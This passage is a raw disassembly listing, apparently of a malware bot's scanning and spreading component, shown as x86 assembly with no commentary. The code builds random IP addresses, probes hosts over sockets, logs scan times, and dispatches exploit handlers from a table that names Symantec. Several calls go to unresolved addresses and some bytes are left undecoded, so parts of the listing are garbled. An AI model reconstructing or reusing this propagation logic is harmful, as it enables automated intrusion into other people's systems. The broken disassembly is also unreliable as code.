		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317CC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_431814
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431860
		push	eax
		call	sub_41B886
		cmp	dword_431410, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431850
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi


loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431410, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431410
		mov	eax, ebx


loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318B0
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]


loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2


loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_43187C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
; ---------------------------------------------------------------------------
		sub	al, 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431900
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------


loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318E0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_43141C[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		nop
		call	near ptr 2660000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx


loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08


loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------


loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A20
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		call	near ptr 2660000h
		nop
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------


loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx


loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C


loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------


loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431424[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------


loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx


loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431988
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F


loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------


loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431950
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431420[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl


loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77


loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------


loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 26709FBh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43191C
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------


loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax


loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax


loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax


loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2


loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax


loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------


loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------


loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3


loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A7C
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A54
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]


loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h


loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------


loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]


loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431414[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2660F2Bh
		jmp	loc_40C16B
; ---------------------------------------------------------------------------


loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h


loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		nop
		call	near ptr 26D0771h
		push	80000400h
		push	esi
		call	near ptr 26D05D2h
		nop
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B60
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
